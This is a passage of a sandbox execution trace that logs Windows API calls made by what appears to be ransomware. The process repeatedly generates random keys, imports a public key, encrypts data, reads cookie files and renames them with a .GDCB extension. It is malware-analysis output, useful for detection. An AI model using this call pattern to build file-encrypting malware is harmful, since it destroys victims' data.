settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\folsaqt6.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FOLSAQT6.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\folsaqt6.txt.gdcb")) returned 1 [0189.247] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.249] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.249] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.249] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.251] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.251] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.252] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.254] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036fd0) returned 1 [0189.254] CryptGetKeyParam (in: hKey=0x5036fd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.254] CryptEncrypt (in: hKey=0x5036fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.254] GetLastError () returned 0x0 [0189.254] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.254] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.257] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036b50) returned 1 [0189.257] CryptGetKeyParam (in: hKey=0x5036b50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.257] CryptEncrypt (in: hKey=0x5036b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.257] GetLastError () returned 0x0 [0189.257] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.257] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\GXB342YS.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\gxb342ys.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.260] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.262] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.263] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x13e, lpOverlapped=0x0) returned 1 [0189.274] VirtualAlloc (lpAddress=0x0, dwSize=0x140, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.279] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\GXB342YS.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\gxb342ys.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\GXB342YS.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\gxb342ys.txt.gdcb")) returned 1 [0189.284] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.285] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.286] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.286] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.286] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0189.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.288] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.288] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.288] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.288] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0189.290] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036850) returned 1 [0189.290] CryptGetKeyParam (in: hKey=0x5036850, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.291] CryptEncrypt (in: hKey=0x5036850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.291] GetLastError () returned 0x0 [0189.291] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.291] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0189.293] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036cd0) returned 1 [0189.293] CryptGetKeyParam (in: hKey=0x5036cd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.293] CryptEncrypt (in: hKey=0x5036cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.293] GetLastError () returned 0x0 [0189.293] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0189.293] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\H5LCJX1B.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\h5lcjx1b.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.295] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.296] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.297] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x254, lpOverlapped=0x0) returned 1 [0189.306] VirtualAlloc (lpAddress=0x0, dwSize=0x260, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.312] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\H5LCJX1B.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\h5lcjx1b.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\H5LCJX1B.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\h5lcjx1b.txt.gdcb")) returned 1 [0189.317] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.319] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.319] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.319] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.319] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.321] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.321] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.322] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.322] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.322] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.324] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036e10) returned 1 [0189.324] CryptGetKeyParam (in: hKey=0x5036e10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.324] CryptEncrypt (in: hKey=0x5036e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.324] GetLastError () returned 0x0 [0189.324] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.324] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0189.326] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036bd0) returned 1 [0189.326] CryptGetKeyParam (in: hKey=0x5036bd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.326] CryptEncrypt (in: hKey=0x5036bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.326] GetLastError () returned 0x0 [0189.326] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.326] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HBPP9XXY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\hbpp9xxy.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.328] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.329] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.330] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x24a, lpOverlapped=0x0) returned 1 [0189.340] VirtualAlloc (lpAddress=0x0, dwSize=0x250, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.345] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HBPP9XXY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\hbpp9xxy.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HBPP9XXY.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\hbpp9xxy.txt.gdcb")) returned 1 [0189.350] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.352] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.353] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.353] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.353] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.354] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.354] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.354] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.355] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.355] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.357] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036c10) returned 1 [0189.357] CryptGetKeyParam (in: hKey=0x5036c10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.357] CryptEncrypt (in: hKey=0x5036c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.358] GetLastError () returned 0x0 [0189.358] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.358] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0189.359] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036a90) returned 1 [0189.359] CryptGetKeyParam (in: hKey=0x5036a90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.359] CryptEncrypt (in: hKey=0x5036a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.360] GetLastError () returned 0x0 [0189.360] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0189.360] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HF8F6LU0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\hf8f6lu0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.362] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.363] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.364] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x11f, lpOverlapped=0x0) returned 1 [0189.373] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.378] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HF8F6LU0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\hf8f6lu0.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HF8F6LU0.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\hf8f6lu0.txt.gdcb")) returned 1 [0189.383] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0189.385] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.386] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.386] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.386] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.386] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0189.387] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.388] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.388] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0189.388] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.390] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036d10) returned 1 [0189.390] CryptGetKeyParam (in: hKey=0x5036d10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.390] CryptEncrypt (in: hKey=0x5036d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.391] GetLastError () returned 0x0 [0189.391] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.391] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.393] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036ed0) returned 1 [0189.393] CryptGetKeyParam (in: hKey=0x5036ed0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.393] CryptEncrypt (in: hKey=0x5036ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.393] GetLastError () returned 0x0 [0189.393] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.393] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HTVL5WIW.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\htvl5wiw.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.395] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.396] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.397] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x70, lpOverlapped=0x0) returned 1 [0189.406] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.410] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HTVL5WIW.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\htvl5wiw.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HTVL5WIW.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\htvl5wiw.txt.gdcb")) returned 1 [0189.417] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.419] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.419] GetProcAddress 